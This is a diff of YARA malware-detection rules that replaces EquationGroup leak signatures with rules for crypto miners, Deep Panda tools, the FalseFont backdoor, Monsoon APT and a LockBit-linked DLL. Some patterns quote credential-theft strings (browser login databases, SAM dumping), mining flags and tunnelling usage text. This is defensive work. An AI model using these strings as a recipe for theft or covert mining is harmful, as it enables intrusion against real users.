-		$s2 = "Valid versions are:  1 = PC 1.2   2 = PC 1.2 (24 hour)" fullword ascii
+		$sa1 = "stratum+tcp://" ascii
+		$sa2 = "stratum+udp://" ascii
+		$sb1 = "\"normalHashing\": true,"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Grdo_Filescanner_Implant : FILE
+rule SIGNATURE_BASE_Coinhive_Javascript_Monerominer : HIGHVOL FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects CoinHive - JavaScript Crypto Miner"
 		author = "Florian Roth (Nextron Systems)"
-		id = "79a3cc02-0cda-59e2-8698-29a6cb0a3061"
-		date = "2017-04-15"
-		modified = "2023-01-06"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2670-L2686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae88d27f41dd4888c445c654c919b3862fe3fc8c92aef816b22b2fb408a49cce"
-		score = 75
+		id = "4f40c342-fcdc-5c73-a3cf-7b2ed438eaaf"
+		date = "2018-01-04"
+		modified = "2023-12-05"
+		reference = "https://coinhive.com/documentation/miner"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_cryptocoin_miner.yar#L20-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4146b034a9785f1bb7c60db62db0e478d960f2ac9adb7c5b74b365186578ca47"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8d2e43567e1360714c4271b75c21a940f6b26a789aa0fce30c6478ae4ac587e4"
 
 	strings:
-		$s1 = "system32\\winsrv.dll" fullword wide
-		$s2 = "raw_open CreateFile error" fullword ascii
-		$s3 = "\\dllcache\\" wide
+		$s2 = "CoinHive.CONFIG.REQUIRES_AUTH" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		filesize <65KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Msgks_Mskgu : FILE
+rule SIGNATURE_BASE_PUA_Cryptominer_Jan19_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Crypto Miner strings"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1692848d-a8db-5c11-9dc4-f1b0c45a78c3"
-		date = "2017-04-15"
+		id = "aebfdce9-c2dd-5f24-aa25-071e1a961239"
+		date = "2019-01-31"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2688-L2704"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d3a230d29997ab247db2b7a2a0f369206513a98c16f744e2fb1fca6495d5e36b"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_cryptocoin_miner.yar#L35-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7097d404e0317230a5f60fc66fbcb2a2a5315f8fd348a7e689aaf75c26684f9e"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7b4986aee8f5c4dca255431902907b36408f528f6c0f7d7fa21f079fa0a42e09"
-		hash2 = "ef906b8a8ad9dca7407e0a467b32d7f7cf32814210964be2bfb5b0e6d2ca1998"
+		hash1 = "ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05"
 
 	strings:
-		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
-		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
-		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+		$s1 = "Stratum notify: invalid Merkle branch" fullword ascii
+		$s2 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
+		$s3 = "User-Agent: cpuminer/" ascii
+		$s4 = "hash > target (false positive)" fullword ascii
+		$s5 = "thread %d: %lu hashes, %s khash/s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ifconfig_Target : FILE
+rule SIGNATURE_BASE_PUA_Crypto_Mining_Commandline_Indicators_Oct21 : SCRIPT FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects command line parameters often used by crypto mining software"
 		author = "Florian Roth (Nextron Systems)"
-		id = "db8ec377-a9f6-5d75-a123-aa0365d98065"
-		date = "2017-04-15"
+		id = "afe5a63a-08c3-5cb7-b4b1-b996068124b7"
+		date = "2021-10-24"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2706-L2722"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e88f589bed7830a1be81c85c9eb77b7f5c14bef2f0f1b3be6293aa9c5e870278"
-		score = 75
+		reference = "https://www.poolwatch.io/coin/monero"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_cryptocoin_miner.yar#L54-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ae1a77d8ff02ec539ce2b8be668530c3f509f0c408dfa7f2b749b0a4d6f45b7"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1ebfc0ce7139db43ddacf4a9af2cb83a407d3d1221931d359ee40588cfd0d02b"
+		tags = "SCRIPT, FILE"
 
 	strings:
-		$s1 = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%hs" fullword wide
-		$op1 = { 0f be 37 85 f6 0f 85 4e ff ff ff 45 85 ed 74 21 }
-		$op2 = { 4c 8d 44 24 34 48 8d 57 08 41 8d 49 07 e8 a6 4b }
+		$s01 = " --cpu-priority="
+		$s02 = "--donate-level=0"
+		$s03 = " -o pool."
+		$s04 = " -o stratum+tcp://"
+		$s05 = " --nicehash"
+		$s06 = " --algo=rx/0 "
+		$se1 = "LS1kb25hdGUtbGV2ZWw9"
+		$se2 = "0tZG9uYXRlLWxldmVsP"
+		$se3 = "tLWRvbmF0ZS1sZXZlbD"
+		$se4 = "c3RyYXR1bSt0Y3A6Ly"
+		$se5 = "N0cmF0dW0rdGNwOi8v"
+		$se6 = "zdHJhdHVtK3RjcDovL"
+		$se7 = "c3RyYXR1bSt1ZHA6Ly"
+		$se8 = "N0cmF0dW0rdWRwOi8v"
+		$se9 = "zdHJhdHVtK3VkcDovL"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target : FILE
+rule SIGNATURE_BASE_Deeppanda_Sl_Txt_Packed
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Hack Deep Panda - ScanLine sl-txt-packed"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
-		date = "2017-04-15"
+		id = "7a335810-2bf9-5a0b-bef4-1bade65a0f00"
+		date = "2015-02-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2724-L2739"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ee7a1284e2abd0282606c22b9112bd1af536e5fd48ef27e8d9216da8e1fb1c5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_deeppanda.yar#L3-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
+		logic_hash = "37f875dcb2c920278c2625085c97a9dcce1907198409595a10e6a3fbce767f35"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 60
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ffff3526ed0d550108e97284523566392af8523bbddb5f212df12ef61eaad3e6"
 
 	strings:
-		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
-		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
-		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
+		$s0 = "Command line port scanner" fullword wide
+		$s1 = "sl.exe" fullword wide
+		$s2 = "CPports.txt" fullword ascii
+		$s3 = ",GET / HTTP/.}" fullword ascii
+		$s4 = "Foundstone Inc." fullword wide
+		$s9 = " 2002 Foundstone Inc." fullword wide
+		$s15 = ", Inc. 2002" fullword ascii
+		$s20 = "ICMP Time" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dsz_Implant : FILE
+rule SIGNATURE_BASE_Deeppanda_Lot1
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Hack Deep Panda - lot1.tmp-pwdump"
 		author = "Florian Roth (Nextron Systems)"
-		id = "febc8654-7dc3-5c8b-a53c-f8d7dc29b14b"
-		date = "2017-04-15"
+		id = "c72120a5-8637-580c-9856-e070dfb6df94"
+		date = "2015-02-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2741-L2755"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3d76131a42aed642a8c54076544488a8d24ec16416469813324541d72e30101b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_deeppanda.yar#L24-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
+		logic_hash = "92169a1288f30dc6008e1a8c9b2b700f878c90aa09634e36fea586e19657dbd1"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fbe103fac45abe4e3638055a3cac5e7009166f626cf2d3049fb46f3b53c1057f"
-		hash2 = "ad1dddd11b664b7c3ad6108178a8dade0a6d9795358c4a7cedbe789c62016670"
 
 	strings:
-		$s1 = "%02u:%02u:%02u.%03u-%4u: " fullword ascii
+		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+		$s2 = "Target: Failed to load SAM functions." fullword ascii
+		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
+		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
+		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
+		$s12 = "PwDump.exe" fullword ascii
+		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
+		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
+		$s16 = "dump logon session" fullword ascii
+		$s17 = "Timed out waiting to get our pipe back" fullword ascii
+		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
+		$s20 = "%s\\%s.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		10 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Genkey : FILE
+rule SIGNATURE_BASE_Deeppanda_Htran_Exe
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Hack Deep Panda - htran-exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "54e15017-a2f7-5135-af88-b13ea5866c5f"
-		date = "2017-04-15"
+		id = "2a551e82-aff1-5a77-bc5e-d06e49dca8bc"
+		date = "2015-02-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2757-L2770"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cdaa33645d0ea614891fc0579937e983b8b4f6c4830191518dc8272791dcc8df"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_deeppanda.yar#L51-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
+		logic_hash = "9ac5ddc53d3d5292acb3dcf68e66bc3f6ab4b8e61a71597dd84454adc516f95d"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b6f100b21da4f7e3927b03b8b5f0c595703b769d5698c835972ca0c81699ff71"
 
 	strings:
-		$x1 = "* PrivateEncrypt -> PublicDecrypt FAILED" fullword ascii
+		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s2 = "\\Release\\htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s8 = "======================== htran V%s =======================" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Wmi_Implant : FILE
+rule SIGNATURE_BASE_Deeppanda_Trojan_Kakfum
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e058d2cc-b963-55bc-9bdd-468f64fe8e6f"
-		date = "2017-04-15"
+		id = "a204f9cb-65f8-53ea-a4eb-d89112942073"
+		date = "2015-02-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2772-L2785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69754b6f26292aa1a457c71d079d934ce75794624c38e9d19c84ceb77a5fb26d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_deeppanda.yar#L72-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0710edea973dce6f5feccf2e7e508cd5f65aa451e0bb5aca503778ffe2363401"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 60
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "de08d6c382faaae2b4b41b448b26d82d04a8f25375c712c12013cb0fac3bc704"
+		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
+		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
 
 	strings:
-		$x1 = "SELECT ProcessId,Description,ExecutablePath FROM Win32_Process" fullword ascii
+		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
+		$s1 = "%s\\sqlsrv32.dll" fullword ascii
+		$s2 = "%s\\sqlsrv64.dll" fullword ascii
+		$s3 = "%s\\%d.tmp" fullword ascii
+		$s4 = "ServiceMaix" fullword ascii
+		$s15 = "sqlserver" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Clocksvc : FILE
+rule SIGNATURE_BASE_APT_MAL_Falsefont_Backdoor_Jan24 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ec0e90a5-1359-55e5-9165-494f90431247"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2787-L2807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04cdd8e4ca9df0231ca66caa8083eff1fe0834cdedc4360fce0a934970a6d162"
-		score = 75
+		description = "Detects FalseFont backdoor, related to Peach Sandstorm APT"
+		author = "X__Junior, Jonathan Peters"
+		id = "b6a3efff-2abf-5ac1-9a2b-c7b30b51f92c"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://twitter.com/MsftSecIntel/status/1737895710169628824"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_peach_sandstorm.yar#L1-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
+		logic_hash = "9a1b3779b63dd7fa8ddc84067dec09542518e9acebbf5d3b45cb75ec4add1158"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c1bcd04b41c6b574a5c9367b777efc8b95fe6cc4e526978b7e8e09214337fac1"
 
 	strings:
-		$x1 = "~debl00l.tmp" fullword ascii
-		$x2 = "\\\\.\\mailslot\\c54321" fullword ascii
-		$x3 = "\\\\.\\mailslot\\c12345" fullword ascii
-		$x4 = "nowMutex" fullword ascii
-		$s1 = "System\\CurrentControlSet\\Services\\MSExchangeIS\\ParametersPrivate" fullword ascii
-		$s2 = "000000005017C31B7C7BCF97EC86019F5026BE85FD1FB192F6F4237B78DB12E7DFFB07748BFF6432B3870681D54BEF44077487044681FB94D17ED04217145B98" ascii
-		$s3 = "00000000E2C9ADBD8F470C7320D28000353813757F58860E90207F8874D2EB49851D3D3115A210DA6475CCFC111DCC05E4910E50071975F61972DCE345E89D88" ascii
+		$x1 = "Agent.Core.WPF.App" ascii
+		$x2 = "3EzuNZ0RN3h3oV7rzILktSHSaHk+5rtcWOr0mlA1CUA=" wide
+		$x3 = "viOIZ9cX59qDDjMHYsz1Yw==" wide
+		$sa1 = "StopSendScreen" wide
+		$sa2 = "Decryption failed :(" wide
+		$sb1 = "{0}     {1}     {2}     {3}" wide
+		$sb2 = "\\BraveSoftware\\Brave-Browser\\User Data\\" wide
+		$sb3 = "select * from logins" wide
+		$sb4 = "Loginvault.db" wide
+		$sb5 = "password_value" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of ($s*)))
+		uint16(0)==0x5a4d and (1 of ($x*) or all of ($sa*) or all of ($sb*) or (1 of ($sa*) and 4 of ($sb*)))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Xxxridearea : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Monsoon_APT_Malware_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Monsoon APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2475778b-1246-5471-b305-a946c253c50c"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2809-L2825"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4d2eeabbb3bb27f46232fe0a43f0ecda9f3589dbe6b08fd4f8aac14f6d12090b"
+		id = "a543c46d-01fc-5276-a915-183263956455"
+		date = "2017-09-08"
+		modified = "2023-01-06"
+		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_monsoon.yar#L14-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76580f999d445f4baace5287a3038e294f8be3783289d6c7c5b2c0c92c39db86"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "214b0de83b04afdd6ad05567825b69663121eda9e804daff9f2da5554ade77c6"
+		hash1 = "c9642f44d33e4c990066ce6fa0b0956ff5ace6534b64160004df31b9b690c9cd"
 
 	strings:
-		$x1 = "USAGE: %s -i InputFile -o OutputFile [-f FunctionOrdinal] [-a FunctionArgument] [-t ThreadOption]" fullword ascii
-		$x2 = "The output payload \"%s\" has a size of %d-bytes." fullword ascii
-		$x3 = "ERROR: fwrite(%s) failed on ucPayload" fullword ascii
-		$x4 = "Load and execute implant within the existing thread" fullword ascii
+		$s1 = "cmd.exe /c start " fullword ascii
+		$s2 = "\\Microsoft\\Templates\\" ascii
+		$s3 = "\\Microsoft\\Windows\\" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a0c824244f1d36ea1dd2759cf7599cd1" or all of them ))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Yak_Min_Install : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Monsoon_APT_Malware_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Monsoon APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dc648deb-4220-5ec3-b95f-ff6cc463f79b"
-		date = "2017-04-15"
+		id = "dbbccf56-7e36-5c3a-b8d9-ee08d077f29f"
+		date = "2017-09-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2827-L2842"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f224c87c5626fee98dae5b4bbab2b4468bdd126ac63371ede53545d7cb177123"
+		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_monsoon.yar#L37-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20552573102dd981c81ffa6a8c7bbdfafc9bbb7da1fbc12f273bca7d6a0c9d05"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f67214083d60f90ffd16b89a0ce921c98185b2032874174691b720514b1fe99e"
+		hash1 = "17c3d0fe08e1184c9737144fa065f4530def30d6591e5414a36463609f9aa53a"
+		hash2 = "8e0574ebf3dc640ac82987ab6ee2a02fc3dd5eaf4f6b5275272ba887acd15ac0"
+		hash3 = "bf93ca5f497fc7f38533d37fd4c083523ececc34aa2d3660d81014c0d9091ae3"
 
 	strings:
-		$s1 = "driver start" fullword ascii
-		$s2 = "DeviceIoControl Error: %d" fullword ascii
-		$s3 = "Phlook" fullword ascii
+		$x1 = "\\Microsoft\\Windows\\coco.exe" ascii
+		$x2 = ":\\System Volume Information\\config" fullword ascii
+		$x3 = " cscript.[BACKSPA[PAGE DO[CAPS LO[PAGE UPTPX498.dTPX499.d" fullword wide
+		$s1 = "\\Microsoft\\Templates\\msvcrt.dll" ascii
+		$s2 = "%04d/%02d/%02d %02d:%02d:%02d - {%s}" fullword wide
+		$s3 = "wininet.dll    " fullword ascii
+		$s4 = "DMCZ0001.dat" fullword ascii
+		$s5 = "TZ0000001.dat" fullword ascii
+		$s6 = "\\MUT.dat" ascii
+		$s7 = "ouemm/emm!!!!!!!!!!!!!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of them ))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setouraddr : FILE
+rule SIGNATURE_BASE_MAL_Backdoor_DLL_Nov23_1 : CVE_2023_4966 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a2dbfa7b-3fb6-56cf-9391-1a3abb08e3cb"
-		date = "2017-04-15"
+		description = "Detects a backdoor DLL, that was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+		author = "X__Junior"
+		id = "3588d437-b561-5380-8dac-73a31f4cdb5a"
+		date = "2023-11-23"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2844-L2858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d49bcef48afeb63b763c88443930f28be1d6f9f27d5f0bd9161d151fa3081868"
-		score = 75
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6788d37301bb82bd4d9584e192e2fb14d4f6c77801b70299097d8ba139219394"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "04ccc060d401ddba674371e66e0288ebdbfa7df74b925c5c202109f23fb78504"
+		tags = "CVE-2023-4966, FILE"
+		hash1 = "cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63"
